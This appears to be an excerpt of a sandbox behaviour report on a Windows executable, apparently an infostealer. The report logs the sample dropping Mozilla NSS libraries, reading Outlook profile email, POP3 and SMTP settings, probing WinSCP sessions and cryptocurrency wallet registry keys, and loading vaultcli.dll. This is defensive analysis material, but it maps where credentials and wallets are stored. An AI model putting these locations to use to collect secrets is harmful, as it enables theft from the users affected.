Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-process-l1-1-0.dll size = 19256 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-runtime-l1-1-0.dll size = 22840 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-stdio-l1-1-0.dll size = 24368 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-string-l1-1-0.dll size = 23488 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-time-l1-1-0.dll size = 20792 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-utility-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/freebl3.dll size = 332752 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/mozglue.dll size = 139216 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/msvcp140.dll size = 440120 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nss3.dll size = 1244112 True 1
Fn
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nssdbm3.dll size = 92624 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/softokn3.dll size = 144336 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/ucrtbase.dll size = 1142072 True 1
Fn
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/vcruntime140.dll size = 83784 True 1
Fn
Data
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-shm - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-wal - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp - True 1
Fn
Registry (133)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\05cb6f136411cf4daf1f74e966b0a7dc - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\4b62e5f8c092a64ea9b79fd559a5a15e - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\609a848a708f544697003a34105400ef - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\63cba20b08018a458b6edb5d87fb54da - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\828cd3a417cead4ab3a214070dce1c3d - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\88d17fec23cbdd4fb54ad1d34c0dce09 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\a533ec91a4f74549ac2130b6908c8aac - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b70c659765f94740b657fee657d05ab4 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\cce6b8ce16bac4458e5e40e3530d6f1d - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\dd7f40a823cda64b92e9a96e9e46e406 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\ - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\monero-project\monero-core - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\BitcoinGold\BitcoinGold-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\BitCore\BitCore-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Litecoin\Litecoin-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\BitcoinABC\BitcoinABC-Qt - False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography value_name = MachineGuid, data = 0303d5b4-ffe9-470e-9dd8-7d9ec416e53f, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography value_name = MachineGuid, data = 0303d5b4-ffe9-470e-9dd8-7d9ec416e53f, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography value_name = MachineGuid, data = 0303d5b4-ffe9-470e-9dd8-7d9ec416e53f, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer value_name = Version, data = 8.0.7601.17514, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 User, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Port, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Password, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = IMAP Server, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP User, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Port, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Password, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\monero-project\monero-core value_name = wallet_path, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\BitcoinGold\BitcoinGold-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\BitCore\BitCore-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Litecoin\Litecoin-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\BitcoinABC\BitcoinABC-Qt value_name = strDataDir, data = 0 False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\05cb6f136411cf4daf1f74e966b0a7dc - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\4b62e5f8c092a64ea9b79fd559a5a15e - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\609a848a708f544697003a34105400ef - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\63cba20b08018a458b6edb5d87fb54da - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\828cd3a417cead4ab3a214070dce1c3d - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\88d17fec23cbdd4fb54ad1d34c0dce09 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\a533ec91a4f74549ac2130b6908c8aac - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b70c659765f94740b657fee657d05ab4 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\cce6b8ce16bac4458e5e40e3530d6f1d - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\dd7f40a823cda64b92e9a96e9e46e406 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - False 1
Fn
Module (277)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 6
Fn
Load user32.dll base_address = 0x74f40000 True 3
Fn
Load advapi32.dll base_address = 0x74d40000 True 3
Fn
Load oleaut32.dll base_address = 0x75220000 True 1
Fn
Load gdi32.dll base_address = 0x75ad0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 4
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load crypt32.dll base_address = 0x759b0000 True 1
Fn
Load crtdll.dll base_address = 0x6c240000 True 1
Fn
Load Gdiplus.dll base_address = 0x73d90000 True 7
Fn
Load shell32.dll base_address = 0x75fd0000 True 1
Fn
Load ntdll.dll base_address = 0x77130000 True 1
Fn
Load wininet.dll base_address = 0x753d0000 True 1
Fn
Load C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\nss3.dll base_address = 0x73a80000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 1
Fn
Load kernel32 base_address = 0x0 False 1
Fn
Load kernel32 base_address = 0x76c20000 True 1
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 1
Fn
Load vaultcli.dll base_address = 0x734f0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 5
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe base_address = 0x400000 True 2
Fn
Get Handle wininet.dll base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll base_address = 0x74650000 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSection, address_out = 0x77162c42 True 1
Fn
